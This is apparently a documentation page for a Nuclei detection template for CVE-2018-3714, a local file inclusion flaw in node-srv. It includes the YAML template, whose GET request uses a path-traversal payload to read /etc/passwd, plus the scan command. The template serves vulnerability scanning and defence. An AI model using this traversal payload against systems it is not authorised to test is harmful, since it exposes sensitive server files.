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node-srv - Local File Inclusion

ID: CVE-2018-3714

Severity: medium

Author: madrobot

Tags: cve,cve2018,nodejs,lfi,hackerone,node-srv_project,node.js

Description

Section titled “Description”

node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path.

YAML Source

Section titled “YAML Source”
id: CVE-2018-3714


info:
  name: node-srv - Local File Inclusion
  author: madrobot
  severity: medium
  description: node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the node-srv application.
  reference:
    - https://hackerone.com/reports/309124
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3714
    - https://github.com/merlinepedra25/nuclei-templates
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2018-3714
    cwe-id: CWE-22
    epss-score: 0.00182
    epss-percentile: 0.55562
    cpe: cpe:2.3:a:node-srv_project:node-srv:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: node-srv_project
    product: node-srv
    framework: node.js
  tags: cve,cve2018,nodejs,lfi,hackerone,node-srv_project,node.js


http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-3714.yaml"

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